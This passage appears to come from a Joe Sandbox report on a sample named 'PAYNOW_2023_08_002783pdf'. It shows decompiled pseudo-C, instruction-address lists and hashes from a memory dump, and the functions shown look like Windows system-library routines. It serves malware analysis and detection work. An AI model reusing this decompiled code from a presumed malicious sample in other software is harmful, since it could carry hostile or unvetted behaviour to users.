								__eflags = _t400 - 0x2f;
								if(_t400 == 0x2f) {
									goto L20;
								}
								goto L127;
							}
							L20:
							_t389 = 2;
						}
						goto L21;
					}
					_t401 =  *_t226 & 0x0000ffff;
					if(_t401 == 0x5c || _t401 == 0x2f) {
						__eflags = _t343 - 4;
						if(_t343 < 4) {
							L125:
							_t389 = 4;
							goto L21;
						}
						_t402 = _t226[1] & 0x0000ffff;
						__eflags = _t402 - 0x5c;
						if(_t402 == 0x5c) {
							L116:
							__eflags = _t343 - 6;
							if(_t343 < 6) {
								L124:
								_t389 = 1;
								goto L21;
							}
							_t403 = _t226[2] & 0x0000ffff;
							__eflags = _t403 - 0x2e;
							if(_t403 == 0x2e) {
								L119:
								__eflags = _t343 - 8;
								if(_t343 < 8) {
									L123:
									__eflags = _t343 - 6;
									_t389 = ((0 | _t343 != 0x00000006) - 0x00000001 & 0x00000006) + 1;
									goto L21;
								}
								_t408 = _t226[3] & 0x0000ffff;
								__eflags = _t408 - 0x5c;
								if(_t408 == 0x5c) {
									L122:
									_t389 = 6;
									goto L21;
								}
								__eflags = _t408 - 0x2f;
								if(_t408 != 0x2f) {
									goto L123;
								}
								goto L122;
							}
							__eflags = _t403 - 0x3f;
							if(_t403 != 0x3f) {
								goto L124;
							}
							goto L119;
						}
						__eflags = _t402 - 0x2f;
						if(_t402 != 0x2f) {
							goto L125;
						}
						goto L116;
					} else {
						goto L15;
					}
				}
			}

0x334851c8
0x334851d5
0x334851e2
0x334851e5
0x334851e8
0x334851ee
0x334851f5
0x334851f9
0x334851fc
0x33485207
0x3348520b
0x3348520f
0x33485213
0x33485217
0x3348521f
0x33485227
0x3348522f
0x33485233
0x33485236
0x3348523c
0x3348523e
0x3348523e
0x33485249
0x3348524d
0x33485843
0x33485849
0x33485849
0x33485255
0x33485852
0x33485852
0x3348525d
0x3348525f
0x33485261
0x33485263
0x33485263
0x3348526d
0x334d6c97
0x00000000
0x33485296
0x33485296
0x33485299
0x3348529f
0x334852b6
0x334852b9
0x33485801
0x334852d4
0x334852d7
0x334d6a9c
0x334d6a9c
0x334852ef
0x334852f3
0x334852f7
0x334d6ae5
0x334d6ae8
0x33485595
0x33485595
0x33485599
0x33485865
0x33485882
0x33485884
0x33485886
0x334d6c0a
0x334d6c0e
0x334d6c10
0x334d6c1a
0x334d6c1a
0x33485582
0x33485582
0x3348552d
0x3348552d
0x33485533
0x334d6c8d
0x334d6c8d
0x33485544
0x33485546
0x3348554d
0x3348554e
0x3348554f
0x3348555a
0x3348555a
0x3348588c
0x33485892
0x00000000
0x00000000
0x33485898
0x33485898
0x3348559f
0x334855a1
0x334855ec
0x334855ec
0x334855f0
0x334855f3
0x334855f5
0x334855f9
0x334855fc
0x33485669
0x33485671
0x3348567c
0x33485680
0x33485682
0x33485686
0x3348568a
0x3348568f
0x334d6c21
0x00000000
0x334d6c21
0x33485695
0x3348569d
0x334856a1
0x334856a4
0x334856a8
0x334856aa
0x33485528
0x33485528
0x00000000
0x00000000
0x00000000
0x00000000
0x334856b0
0x334856b0
0x334856b0
0x334856b2
0x334856b4
0x00000000
0x00000000
0x00000000
0x00000000
0x334856b6
0x334856b6
0x334856b6
0x334856ba
0x00000000
0x00000000
0x334856bc
0x334856bf
0x334856c1
0x00000000
0x00000000
0x00000000
0x334856c1
0x334856c3
0x334856ca
0x334856d0
0x334856d4
0x334856d8
0x334856db
0x334856dd
0x334856e1
0x334856e4
0x334856e6
0x334856e9
0x334856eb
0x334856eb
0x334856ee
0x334856ee
0x334856e9
0x334856e4
0x334856fa
0x33485704
0x33485706
0x334d6c32
0x334d6c36
0x00000000
0x00000000
0x334d6c38
0x334d6c3e
0x00000000
0x00000000
0x334d6c48
0x334d6c4d
0x334d6c52
0x334d6c56
0x334d6c58
0x334d6ba3
0x334d6ba3
0x00000000
0x334d6ba3
0x00000000
0x3348570c
0x3348570c
0x33485716
0x33485723
0x33485728
0x3348572c
0x3348572f
0x33485731
0x33485736
0x33485748
0x3348574c
0x3348574c
0x3348574c
0x3348574c
0x33485736
0x33485758
0x3348575d
0x33485761
0x33485763
0x334d6c69
0x334d6c69
0x33485769
0x33485776
0x33485778
0x334d6c7e
0x334d6c7e
0x00000000
0x3348577e
0x33485786
0x3348578a
0x33485790
0x33485795
0x33485797
0x3348580b
0x33485817
0x33485818
0x3348581a
0x3348581e
0x3348581f
0x33485820
0x33485820
0x33485828
0x3348582e
0x33485830
0x33485832
0x33485838
0x33485838
0x00000000
0x33485832
0x33485799
0x3348579d
0x3348579f
0x334d6c73
0x334d6c75
0x334857a5
0x334857a5
0x334857a5
0x334857a8
0x334857a8
0x334857ac
0x334857ae
0x00000000
0x334857b4
0x334857b4
0x00000000
0x334857b4
0x334857ae
0x33485778
0x33485706
0x334856b0
0x334855fe
0x33485603
0x33485606
0x33485608
0x3348560a
0x33485631
0x33485637
0x3348563a
0x3348563d
0x3348563f
0x33485643
0x33485646
0x33485648
0x3348564b
0x3348564d
0x3348564d
0x3348564d
0x3348564b
0x33485646
0x3348564e
0x33485651
0x33485655
0x33485657
0x33485657
0x3348565b
0x3348565f
0x3348565f
0x33485661
0x33485665
0x00000000
0x3348560c
0x3348560c
0x3348560f
0x3348560f
0x33485611
0x33485611
0x33485615
0x334857c6
0x334857c9
0x334857ce
0x334857d1
0x334857d4
0x334857d6
0x334857da
0x334857dd
0x334857df
0x334857e2
0x334857e8
0x334857e8
0x334857e2
0x334857dd
0x334857eb
0x334857ee
0x334857f2
0x334857fb
0x334857fb
0x334857f4
0x334857f4
0x3348561b
0x3348561e
0x33485621
0x33485623
0x00000000
0x33485625
0x33485625
0x33485629
0x3348562d
0x00000000
0x3348562d
0x33485623
0x3348560a
0x334855a3
0x334855a9
0x334855ad
0x334855b0
0x00000000
0x00000000
0x334855b2
0x334855b7
0x334855ba
0x334855bc
0x334855c0
0x334855c0
0x334855c4
0x334855c7
0x334855ca
0x334855dc
0x334855e4
0x334855e4
0x334855e4
0x334855cc
0x334855cf
0x00000000
0x00000000
0x334855d1
0x334855d4
0x00000000
0x00000000
0x334855d6
0x334855d8
0x00000000
0x334855da
0x00000000
0x334855da
0x334855d8
0x334855c0
0x00000000
0x334855bc
0x33485306
0x3348530a
0x33485324
0x334853d1
0x334853d3
0x00000000
0x00000000
0x334853d9
0x334853df
0x00000000
0x00000000
0x334853e9
0x334853eb
0x334d6b36
0x334d6b39
0x334d6b3c
0x00000000
0x00000000
0x334d6b42
0x334d6b47
0x334d6b4a
0x334d6b4c
0x00000000
0x00000000
0x00000000
0x00000000
0x334d6b52
0x334d6b52
0x334d6b52
0x334d6b56
0x334d6b59
0x334d6b5c
0x00000000
0x00000000
0x334d6b62
0x334d6b65
0x00000000
0x00000000
0x334d6b6b
0x334d6b6e
0x00000000
0x00000000
0x334d6b74
0x334d6b76
0x00000000
0x00000000
0x00000000
0x334d6b78
0x334d6b52
0x334853f1
0x334853f9
0x33485401
0x334d6b7d
0x00000000
0x334d6b7d
0x3348540e
0x334d6b8b
0x334d6b95
0x334d6b97
0x334d6b9b
0x334d6b9d
0x00000000
0x00000000
0x00000000
0x33485414
0x33485414
0x33485418
0x33485420
0x33485439
0x33485446
0x33485451
0x33485460
0x33485472
0x3348547d
0x00000000
0x00000000
0x33485483
0x33485487
0x3348548e
0x334d6bad
0x334d6bb5
0x334d6bb9
0x33485494
0x33485494
0x33485494
0x33485496
0x334854a1
0x334854af
0x334854b7
0x334854c2
0x334854c3
0x334854ce
0x334854d9
0x334854e4
0x334854e9
0x334854ed
0x334854f1
0x334d6bc2
0x334d6bc5
0x334d6bc9
0x334d6bcf
0x334d6bd2
0x334d6be3
0x334d6be3
0x334d6bc9
0x33485503
0x3348550a
0x334d6bed
0x334d6bf9
0x334d6bfa
0x334d6bfc
0x334d6c00
0x334d6c01
0x00000000
0x00000000
0x00000000
0x00000000
0x3348550a
0x3348540e
0x3348532e
0x33485332
0x33485339
0x334d6af3
0x334d6afb
0x334d6aff
0x3348533f
0x3348533f
0x3348533f
0x33485341
0x33485349
0x33485357
0x3348535c
0x33485364
0x33485365
0x33485370
0x3348537b
0x3348538b
0x3348538d
0x33485393
0x334d6b08
0x334d6b0b
0x334d6b0f
0x334d6b15
0x334d6b18
0x334d6b2c
0x334d6b2c
0x334d6b0f
0x334853a8
0x334853af
0x3348557c
0x3348557e
0x33485580
0x00000000
0x00000000
0x00000000
0x334853cd
0x334853cd
0x00000000
0x334853cd
0x334853af
0x33485300
0x33485586
0x33485589
0x00000000
0x00000000
0x3348558b
0x3348558f
0x334d6aa6
0x334d6aaa
0x334d6aad
0x334d6ad8
0x334d6ad8
0x00000000
0x334d6ad8
0x334d6aaf
0x334d6ab2
0x00000000
0x00000000
0x334d6ab4
0x334d6ab7
0x00000000
0x00000000
0x334d6abd
0x334d6ac0
0x00000000
0x00000000
0x334d6ac6
0x334d6aca
0x334d6acd
0x00000000
0x00000000
0x334d6acf
0x334d6ad2
0x00000000
0x00000000
0x00000000
0x334d6ad2
0x00000000
0x3348558f
0x00000000
0x33485300
0x334852dd
0x334852e4
0x334d6a93
0x334d6a96
0x00000000
0x00000000
0x00000000
0x334d6a96
0x334852ea
0x334852ea
0x334852ea
0x00000000
0x334852b9
0x334852a1
0x334852a7
0x334d6a2a
0x334d6a2d
0x334d6a89
0x334d6a89
0x00000000
0x334d6a89
0x334d6a2f
0x334d6a33
0x334d6a36
0x334d6a3d
0x334d6a3d
0x334d6a40
0x334d6a7f
0x334d6a7f
0x00000000
0x334d6a7f
0x334d6a42
0x334d6a46
0x334d6a49
0x334d6a50
0x334d6a50
0x334d6a53
0x334d6a6d
0x334d6a6f
0x334d6a79
0x00000000
0x334d6a79
0x334d6a55
0x334d6a59
0x334d6a5c
0x334d6a63
0x334d6a63
0x00000000
0x334d6a63
0x334d6a5e
0x334d6a61
0x00000000
0x00000000
0x00000000
0x334d6a61
0x334d6a4b
0x334d6a4e
0x00000000
0x00000000
0x00000000
0x334d6a4e
0x334d6a38
0x334d6a3b
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x334852a7

Strings

@, xrefs: 334854C3
@, xrefs: 33485365

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID: @$@
API String ID: 0-149943524
Opcode ID: 66fd369ab703bfc43138efbd290b14679245825f9c399de05a5c16a8e74953cc
Instruction ID: dbb87f29673c51bca96de2bbb53a614fc6bab6ac4b49c4b68a25a61fcd28d777
Opcode Fuzzy Hash: 66fd369ab703bfc43138efbd290b14679245825f9c399de05a5c16a8e74953cc
Instruction Fuzzy Hash: 0D32BEB46083118FD710CF14C490B2EB7E5EF89744F98896EF9959B390E736C845CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 33475622 Relevance: 3.1, APIs: 2, Instructions: 104
timeCOMMON

Download Yara Rule

C-Code - Quality: 76%

			E33475622(signed int __ecx, void* __edx, intOrPtr _a4) {
				char _v8;
				void* __ebx;
				void* _t32;
				void* _t33;
				intOrPtr* _t36;
				char* _t52;
				intOrPtr _t55;
				void* _t72;
				signed int _t78;

				_push(__ecx);
				_t72 = __edx;
				_t75 = __ecx;
				if(_a4 == 0x102) {
					_t32 = E33477072(__ecx, __edx, 0);
					if(_t32 != 0) {
						L3:
						_t33 = L33483C40();
						_t52 = 0x7ffe0386;
						if(_t33 != 0) {
							_t36 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
						} else {
							_t36 = 0x7ffe0386;
						}
						if( *_t36 != 0) {
							L33544C59( *((intOrPtr*)(_t72 + 0x5c)), _t72 + 0xf8,  *((intOrPtr*)(_t72 + 0x30)),  *((intOrPtr*)(_t72 + 0x34)),  *((intOrPtr*)(_t72 + 0x3c)));
						}
						L33476F4C( &_v8,  *((intOrPtr*)(_t72 + 0x30)),  *((intOrPtr*)(_t72 + 0x34)),  *((intOrPtr*)(_t72 + 0x3c)));
						 *((intOrPtr*)(_t75 + 0x30)) =  *((intOrPtr*)(_t72 + 0x30));
						 *((intOrPtr*)(_t75 + 0x34)) =  *((intOrPtr*)(_t72 + 0x34));
						 *0x335691e0(_t75,  *((intOrPtr*)(_t72 + 0x34)), _t72, _a4);
						 *((intOrPtr*)( *((intOrPtr*)(_t72 + 0x30))))();
						if(L33483C40() != 0) {
							_t52 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
						}
						if( *_t52 != 0) {
							L33544CD2( *((intOrPtr*)(_t72 + 0x5c)), _t72 + 0xf8,  *((intOrPtr*)(_t72 + 0x30)),  *((intOrPtr*)(_t72 + 0x34)),  *((intOrPtr*)(_t72 + 0x3c)));
						}
						_t32 = L33476ECF(_v8);
						L9:
						return _t32;
					}
					goto L9;
				}
				_t55 =  *((intOrPtr*)(__edx + 0x58));
				if(_t55 != 0) {
					if(E33492120(_t55, __ecx, 0, _t55) >= 0) {
						 *(__ecx + 0x50) =  *(__ecx + 0x50) | 0x00000100;
						 *((intOrPtr*)(__ecx + 0x64)) = _t55;
						goto L2;
					}
					_t78 = __ecx | 0xffffffff;
					_t32 = E3349DB40(_t72 + 0x20, _t78, 0);
					asm("lock xadd [edi], esi");
					if(_t78 == 1) {
						 *0x335691e0(_t72);
						_t32 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t72 + 4))))))();
					}
					goto L9;
				}
				L2:
				E33477007(_t75, _t72);
				goto L3;
			}

0x33475627
0x33475632
0x33475634
0x33475636
0x334756c7
0x334756ce
0x33475650
0x33475650
0x33475655
0x3347565c
0x334d0642
0x33475662
0x33475662
0x33475662
0x33475668
0x334d065e
0x334d065e
0x3347567a
0x33475685
0x3347568c
0x33475698
0x3347569e
0x334756a7
0x334d0671
0x334d0671
0x334756b0
0x334d068e
0x334d068e
0x334756b9
0x334756be
0x334756c2
0x334756c2
0x00000000
0x334756d0
0x3347563c
0x33475641
0x334d05f9
0x334d062a
0x334d0631
0x00000000
0x334d0631
0x334d05fb
0x334d0605
0x334d060a
0x334d060f
0x334d061d
0x334d0623
0x334d0623
0x00000000
0x334d060f
0x33475647
0x3347564b
0x00000000

APIs

RtlDebugPrintTimes.NTDLL ref: 33475698
RtlDebugPrintTimes.NTDLL ref: 334D061D

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: DebugPrintTimes
String ID:
API String ID: 3446177414-0
Opcode ID: 5e944cf290ab13ea7fe601b2fced7a9e51f586b880d6a2d84e5290dc9f4ecb34
Instruction ID: 018573c0a257ec494ee138c7db554e72d7fd8d5c39bc0a5962ca58766f925d3d
Opcode Fuzzy Hash: 5e944cf290ab13ea7fe601b2fced7a9e51f586b880d6a2d84e5290dc9f4ecb34
Instruction Fuzzy Hash: 8631C135601B02AFE7559B24CA50ECAFBA9FF84754F444059E9648BF60DB74E822CBC8

Uniqueness

Uniqueness Score: -1.00%

Function 334F9567 Relevance: 3.1, APIs: 2, Instructions: 62timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 334F9598
RtlDebugPrintTimes.NTDLL ref: 334F95D6

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: DebugPrintTimes
String ID:
API String ID: 3446177414-0
Opcode ID: f56c128ac16b48dd692269caa34c2545a0283f546b490b9cf8a4d7460e496017
Instruction ID: cb4ccb195e4e3a75d40be940e056bf60f98e3034f39123ca551a91791faf9428
Opcode Fuzzy Hash: f56c128ac16b48dd692269caa34c2545a0283f546b490b9cf8a4d7460e496017
Instruction Fuzzy Hash: FC11C172A04255ABEB059F5CC984A6EB7E9AB88264F29016DE405E3310DA71DE02CB98

Uniqueness

Uniqueness Score: -1.00%

Function 334F174B Relevance: 2.8, Strings: 2, Instructions: 278
COMMON

Download Yara Rule

C-Code - Quality: 55%

			E334F174B(void* __ecx) {
				intOrPtr _v12;
				char _v52;
				signed int _v56;
				signed int _v60;
				intOrPtr _v64;
				char* _v68;
				signed int _v72;
				char _v76;
				intOrPtr _v80;
				char _v84;
				char _v92;
				signed int* _v96;
				char _v100;
				intOrPtr _v104;
				signed int _v108;
				char _v112;
				intOrPtr _v120;
				char _v124;
				char _v128;
				intOrPtr _v136;
				char _v140;
				char _v141;
				void* _t108;
				signed int _t109;
				intOrPtr _t115;
				void* _t162;
				intOrPtr* _t164;
				intOrPtr* _t165;
				char _t167;
				void* _t170;
				void* _t171;
				intOrPtr _t174;
				char _t179;
				intOrPtr _t183;
				intOrPtr _t184;
				intOrPtr _t185;
				char _t186;
				void* _t190;
				void* _t192;
				signed int _t194;
				void* _t196;
				signed int _t197;
				signed int _t198;
				void* _t200;
				signed int* _t203;

				_t171 = __ecx;
				_t183 =  *((intOrPtr*)( *[fs:0x30] + 8));
				_t167 = 0;
				_t200 = 0;
				_t194 =  *(__ecx + 6) & 0x0000ffff;
				_t108 = ( *(__ecx + 0x14) & 0x0000ffff) + 0x2c;
				_v141 = 0;
				_v104 = _t183;
				if(_t194 == 0) {
					L7:
					_t109 =  *(_t171 + 0xac);
					if(_t109 == 0) {
						L15:
						_t184 =  *((intOrPtr*)(_t171 + 0x9c));
						if(_t184 != 0) {
							_t162 =  *((intOrPtr*)(_t171 + 0x98)) + _t184;
							if(_t162 > _t200) {
								_t200 = _t162;
							}
						}
						_push(0);
						_push(0x30);
						_push( &_v52);
						_push(0x25);
						_push(0xffffffff);
						if(E334B2B20() < 0) {
							L44:
							return _t167;
						} else {
							_t22 = _t200 + 0x2000; // 0x2000
							if(_t22 >= _v12) {
								goto L44;
							}
							_t115 =  *0x33565b24; // 0x3142d38
							_t25 = _t115 + 0x28; // 0x3141cd8
							if(E33491BA0(_t171,  *_t25,  &_v84, 0, 0) == 0) {
								goto L44;
							}
							_v72 = _v72 & 0x00000000;
							_v60 = _v60 & 0x00000000;
							_v56 = _v56 & 0x00000000;
							_push(0x60);
							_v68 =  &_v84;
							_push("true");
							_push( &_v92);
							_v76 = 0x18;
							_push( &_v76);
							_push(0x100001);
							_v64 = 0x40;
							_push( &_v128);
							if(L334B2CE0() < 0) {
								L43:
								E33483BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _v80);
								goto L44;
							}
							_push(0);
							_v136 = 0;
							_v140 = _v12 + 0xfffffffc;
							_push( &_v140);
							_push("true");
							_pop(_t196);
							_push(_t196);
							_push( &_v112);
							_push( &_v92);
							_push(0);
							_push(0);
							_push(0);
							_push(_v128);
							if(E334B29F0() < 0) {
								L42:
								_push(_v128);
								E334B2A80();
								goto L43;
							}
							_t185 = _v112;
							_t174 = _v12;
							if(_t185 < _t196 || _t185 + 4 > _t174) {
								L32:
								if(_t185 + 0xc > _t174) {
									goto L42;
								}
								_v140 = _t174 - _t185 - 0xc;
								_push(0);
								_push( &_v140);
								_push("true");
								_v136 = 0;
								_push( &_v124);
								_push( &_v92);
								_push(0);
								_push(0);
								_push(0);
								_push(_v128);
								if(E334B29F0() < 0) {
									goto L42;
								}
								if(_v120 == 0x44646441) {
									goto L38;
								}
								_t179 = _v124;
								_t78 = _t179 + 4; // 0x103
								if(_t78 > _v12) {
									goto L42;
								}
								_v140 = _t179;
								_push(0);
								_push( &_v140);
								_push(_t196);
								_v136 = 0;
								_push( &_v124);
								_push( &_v92);
								_push(0);
								_push(0);
								_push(0);
								_push(_v128);
								if(E334B29F0() < 0 || _v124 != 0x44646441) {
									goto L42;
								} else {
									goto L38;
								}
							} else {
								_push(0);
								_v140 = _t185 - 4;
								_push( &_v140);
								_push("true");
								_v136 = 0;
								_push( &_v124);
								_push( &_v92);
								_push(0);
								_push(0);
								_push(0);
								_push(_v128);
								if(E334B29F0() < 0) {
									goto L42;
								}
								if(_v120 == 0x44646441) {
									L38:
									_t167 = 1;
									_v108 = _v108 & 0x00000000;
									_t203 = L3347A86F(_v104);
									if(_t203 != 0 &&  *_t203 >= 0x48) {
										_v96 = _t203;
										_v108 =  *_t203;
										_push( &_v100);
										_push(_t196);
										_push( &_v108);
										_push( &_v96);
										_push(0xffffffff);
										if(L334B2EB0() >= 0) {
											_t203[0x10] = _t203[0x10] & 0x00000000;
											_t203[0x11] = _t203[0x11] & 0x00000000;
											_push( &_v100);
											_push(_v100);
											_push( &_v108);
											_push( &_v96);
											_push(0xffffffff);
											L334B2EB0();
										}
									}
									goto L42;
								}
								_t186 = _v124;
								_t174 = _v12;
								_t59 = _t186 + 4; // 0x103
								if(_t59 > _t174) {
									L31:
									_t185 = _v112;
									goto L32;
								}
								_v140 = _t186;
								_push(0);
								_v136 = 0;
								_push( &_v140);
								_push(_t196);
								_push( &_v124);
								_push( &_v92);
								_push(0);
								_push(0);
								_push(0);
								_push(_v128);
								if(E334B29F0() < 0) {
									goto L42;
								}
								if(_v124 == 0x44646441) {
									goto L38;
								}
								_t174 = _v12;
								goto L31;
							}
						}
					}
					_t170 =  *((intOrPtr*)(_t171 + 0xa8)) + _t183;
					_t197 = 0x1c;
					_t198 = _t109 / _t197;
					if(_t198 == 0) {
						L14:
						_t167 = _v141;
						goto L15;
					}
					_t164 = _t170 + 0x18;
					do {
						if( *((intOrPtr*)(_t164 - 8)) != 0) {
							_t190 =  *_t164 +  *((intOrPtr*)(_t164 - 8));
							if(_t190 > _t200) {
								_t200 = _t190;
							}
						}
						_t164 = _t164 + 0x1c;
						_t198 = _t198 - 1;
					} while (_t198 != 0);
					goto L14;
				} else {
					_t165 = _t108 + __ecx;
					do {
						if( *((intOrPtr*)(_t165 - 4)) != 0) {
							_t192 =  *_t165 +  *((intOrPtr*)(_t165 - 4));
							if(_t192 > _t200) {
								_t200 = _t192;
							}
						}
						_t165 = _t165 + 0x28;
						_t194 = _t194 - 1;
					} while (_t194 != 0);
					_t183 = _v104;
					goto L7;
				}
			}

0x334f174b
0x334f1762
0x334f1765
0x334f176b
0x334f176d
0x334f1771
0x334f1774
0x334f1778
0x334f177e
0x334f179f
0x334f179f
0x334f17a7
0x334f17de
0x334f17de
0x334f17e6
0x334f17ee
0x334f17f2
0x334f17f4
0x334f17f4
0x334f17f2
0x334f17f6
0x334f17f8
0x334f17fe
0x334f17ff
0x334f1801
0x334f180a
0x334f1a8a
0x334f1a92
0x334f1810
0x334f1810
0x334f181d
0x00000000
0x00000000
0x334f182c
0x334f1831
0x334f183b
0x00000000
0x00000000
0x334f1841
0x334f184a
0x334f184f
0x334f1854
0x334f1856
0x334f185e
0x334f1860
0x334f1865
0x334f186d
0x334f186e
0x334f1877
0x334f187f
0x334f1887
0x334f1a75
0x334f1a85
0x00000000
0x334f1a85
0x334f1896
0x334f189a
0x334f189e
0x334f18a6
0x334f18a7
0x334f18a9
0x334f18aa
0x334f18af
0x334f18b4
0x334f18b5
0x334f18b6
0x334f18b7
0x334f18b8
0x334f18c3
0x334f1a6c
0x334f1a6c
0x334f1a70
0x00000000
0x334f1a70
0x334f18c9
0x334f18d2
0x334f18db
0x334f197f
0x334f1984
0x00000000
0x00000000
0x334f1993
0x334f1999
0x334f199a
0x334f199b
0x334f19a1
0x334f19a5
0x334f19aa
0x334f19ab
0x334f19ac
0x334f19ad
0x334f19ae
0x334f19b9
0x00000000
0x00000000
0x334f19c3
0x00000000
0x00000000
0x334f19c5
0x334f19c9
0x334f19d3
0x00000000
0x00000000
0x334f19d9
0x334f19e3
0x334f19e4
0x334f19e5
0x334f19ea
0x334f19ee
0x334f19f3
0x334f19f4
0x334f19f5
0x334f19f6
0x334f19f7
0x334f1a02
0x00000000
0x00000000
0x00000000
0x00000000
0x334f18ec
0x334f18f1
0x334f18f2
0x334f18fa
0x334f18fb
0x334f1901
0x334f1905
0x334f190a
0x334f190b
0x334f190c
0x334f190d
0x334f190e
0x334f1919
0x00000000
0x00000000
0x334f1923
0x334f1a0a
0x334f1a0e
0x334f1a10
0x334f1a1a
0x334f1a1e
0x334f1a25
0x334f1a2b
0x334f1a33
0x334f1a34
0x334f1a39
0x334f1a3e
0x334f1a3f
0x334f1a48
0x334f1a4a
0x334f1a52
0x334f1a56
0x334f1a57
0x334f1a5f
0x334f1a64
0x334f1a65
0x334f1a67
0x334f1a67
0x334f1a48
0x00000000
0x334f1a1e
0x334f1929
0x334f192d
0x334f1934
0x334f1939
0x334f197b
0x334f197b
0x00000000
0x334f197b
0x334f193d
0x334f1941
0x334f1946
0x334f194a
0x334f194b
0x334f1950
0x334f1955
0x334f1956
0x334f1957
0x334f1958
0x334f1959
0x334f1964
0x00000000
0x00000000
0x334f196e
0x00000000
0x00000000
0x334f1974
0x00000000
0x334f1974
0x334f18db
0x334f180a
0x334f17af
0x334f17b5
0x334f17b8
0x334f17bc
0x334f17da
0x334f17da
0x00000000
0x334f17da
0x334f17be
0x334f17c1
0x334f17c5
0x334f17c9
0x334f17ce
0x334f17d0
0x334f17d0
0x334f17ce
0x334f17d2
0x334f17d5
0x334f17d5
0x00000000
0x334f1780
0x334f1780
0x334f1782
0x334f1786
0x334f178a
0x334f178f
0x334f1791
0x334f1791
0x334f178f
0x334f1793
0x334f1796
0x334f1796
0x334f179b
0x00000000
0x334f179b

Strings

AddD, xrefs: 334F18CD
@, xrefs: 334F1877

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID: @$AddD
API String ID: 0-2525844869
Opcode ID: daf3c6ed145d0c71f0e775630b9175fe0e9d9374090bd61e031fd93ef777e055
Instruction ID: cd7d2daa2ff3a8af1c8b02240310d6534e009ac7116e8f0518ce78c07e0b2be9
Opcode Fuzzy Hash: daf3c6ed145d0c71f0e775630b9175fe0e9d9374090bd61e031fd93ef777e055
Instruction Fuzzy Hash: CBA16DB6504344AFE314CF14C845FABB7EDFB84704F584A2EF99486250E771E905CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 334EE372 Relevance: 2.7, Strings: 2, Instructions: 179
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E334EE372(void* __ebx, void* __ecx, intOrPtr __edx, void* __edi, void* __esi, void* __eflags) {
				signed short* _t64;
				signed int _t65;
				signed int _t66;
				signed int _t68;
				void* _t69;
				intOrPtr _t74;
				intOrPtr _t84;
				intOrPtr _t88;
				intOrPtr _t94;
				void* _t101;
				void* _t106;
				intOrPtr _t108;
				signed int _t109;
				short* _t111;
				signed int _t113;
				intOrPtr _t120;
				signed int* _t122;
				void* _t124;
				signed short* _t126;
				void* _t127;
				void* _t129;

				_push(0x80);
				_push(0x3354cbc0);
				L334C7C40(__ebx, __edi, __esi);
				 *((intOrPtr*)(_t127 - 0x80)) = __edx;
				_t122 =  *(_t127 + 0xc);
				 *(_t127 - 0x7c) = _t122;
				 *((char*)(_t127 - 0x65)) = 0;
				 *((intOrPtr*)(_t127 - 0x64)) = 0;
				 *((intOrPtr*)(_t127 - 0x6c)) = 0;
				 *((intOrPtr*)(_t127 - 4)) = 0;
				_t101 = __ecx;
				if(_t101 == 0) {
					 *(_t127 - 0x90) =  *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x24;
					L3347FED0( *((intOrPtr*)( *[fs:0x30] + 0x1c)));
					 *((char*)(_t127 - 0x65)) = 1;
					_t64 =  *(_t127 - 0x90);
					_t102 = _t64[2];
					_t65 =  *_t64 & 0x0000ffff;
					L20:
					_t66 = _t65 >> 1;
					L21:
					_t111 =  *((intOrPtr*)(_t127 - 0x80));
					if(_t111 == 0) {
						L27:
						 *_t122 = _t66 + 1;
						_t68 = 0xc0000023;
						L28:
						 *((intOrPtr*)(_t127 - 0x64)) = _t68;
						L29:
						 *((intOrPtr*)(_t127 - 4)) = 0xfffffffe;
						_t69 = E334EE588(0);
						 *[fs:0x0] =  *((intOrPtr*)(_t127 - 0x10));
						return _t69;
					}
					if(_t66 >=  *((intOrPtr*)(_t127 + 8))) {
						if(_t111 != 0 &&  *((intOrPtr*)(_t127 + 8)) >= 1) {
							 *_t111 = 0;
						}
						goto L27;
					}
					 *_t122 = _t66;
					_t124 = _t66 + _t66;
					L334B88C0(_t111, _t102, _t124);
					 *((short*)(_t124 +  *((intOrPtr*)(_t127 - 0x80)))) = 0;
					_t68 = 0;
					goto L28;
				}
				_t106 = _t101 - 1;
				if(_t106 == 0) {
					_t126 =  *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x38;
